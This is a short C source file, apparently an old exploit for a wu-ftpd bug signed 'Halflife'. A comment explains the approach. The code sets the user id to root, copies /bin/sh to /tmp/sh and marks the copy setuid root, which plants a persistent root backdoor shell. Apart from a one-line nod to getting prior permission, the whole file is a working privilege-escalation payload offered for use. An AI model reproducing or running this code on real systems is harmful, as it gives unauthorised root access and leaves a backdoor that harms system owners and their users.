/*
Simple program to exploit the bug in wuftp. As you can see, its only a
matter of setting the euid to 0, and doing what you want - in this case
creating a suid root shell in /tmp. Of course, you get prior permission
before trying such a thing.

-Halflife
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
main()
{
   setuid(0);   
   system("/bin/cp /bin/sh /tmp/sh");
   system("/bin/chmod u+s /tmp/sh");
}

